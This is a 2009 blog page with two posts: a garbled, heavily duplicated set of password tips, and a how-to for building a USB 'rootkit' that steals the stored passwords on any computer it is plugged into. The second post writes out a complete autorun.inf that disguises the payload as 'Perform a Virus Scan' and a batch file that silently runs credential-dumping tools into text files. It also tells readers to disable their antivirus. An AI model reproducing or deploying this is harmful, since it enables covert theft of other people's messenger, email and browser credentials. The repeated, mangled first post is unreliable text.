Your Ad Here
Showing posts with label get password form usb. Show all posts
Showing posts with label get password form usb. Show all posts

Thursday, November 26, 2009

How to generate the passwords

Many users often have to be a simple password that is used also in several places such as the computer itself, Live Messenger and Google. It is always advisable in that regard for the safety for a strong password and set up a different password for each service so when your password may be overtaken by someone else not have direct access to all services that you use. It is always advisable in that regard for the safety for a strong password and set up a different password for each service so when your password may be over taken by someone else not have direct access to all services that you use.

Weak passwords
Examples of weak passwords include 12345678, qwerty, zxcvbn, asdfgh, ABCDEFG and other words with a clear sense of order as the names of parents, children / grandchildren, birth dates, etc. Examples of weak administrator passwords include 12345678, qwerty, zxcvbn , asdfgh, ABCDEFG and other words with a clear sense of order as the names of parents, children / grand children, birth dates, administrator etc.

Strong Passwords Strong passwords
Strong passwords have an outsider has no meaning and are difficult to guess. Strong passwords have no meaning for an outsider and they are harder to guess. The password easier to remember you can combine as names and birth dates. The password easier to remember you can combine as names and birth dates. Imagine you have a date of birth 14/02/1975 and pet named Kyra example you can make of it: # 12Kyra75. Imagine you have a date of birth 14/02/1975 and pet named Kyra example you can make of it: # 12Kyra75.

Key issues in creating and using a password:

1.The longer the better, try to keep at least 8 characters.
2.Use uppercase and lowercase letters and combine it with numbers and any special characters such as points and fences.
3.Change your password periodically, eg every 3 months.
4.Try a different password for each service used.
5.Keep an alternate email address is set to recover passwords.
6.Do not use the "Ask" option. You can often choose a question in this one password in order to recover your password. You can often choose a question in this one password in order to recover your password.
7.Note Phishing Mails.
8.Be careful when using other computers. If possible use in this case the private mode of the browser, almost all modern browsers have this as InPrivate Internet Explorer and Chrome Incognito mode. If possible use in this case the private mode of the browser, almost all modern browsers have this as InPrivate Internet Explorer and Chrome Incognito mode.
9.Important not to write passwords, nor store them in a text file. Want to save the passwords do pay attention that you do not file as "ABC.doc" where possible and protect the file so you must first enter a password for the document to open. Want to save the passwords do pay attention that you do not file as "ABC.doc" where possible and protect the file so you must first enter a password for the document to open.
10.Not to tell passwords to others.
11.May not save passwords in the browser, especially on other computers.

Thursday, November 19, 2009

How to Sniff Passwords Using USB Drive

As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit.

MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0

Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…

PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.

Here is a step by step procedure to create the password hacking toolkit.

NOTE: You must temporarily disable your antivirus before following these steps.

1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.

ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

2. Create a new Notepad and write the following text into it

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan


save the Notepad and rename it from

New Text Document.txt to autorun.inf

Now copy the autorun.inf file onto your USB pendrive.

3. Create another Notepad and write the following text onto it.

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt


save the Notepad and rename it from

New Text Document.txt to launch.bat

Copy the launch.bat file also to your USB drive.

Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps

1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).

2. In the pop-up window, select the first option (Perform a Virus Scan).

3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.

4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.

This hack works on Windows 2000, XP and Vista

NOTE: This procedure will only recover the stored passwords (if any) on the Computer.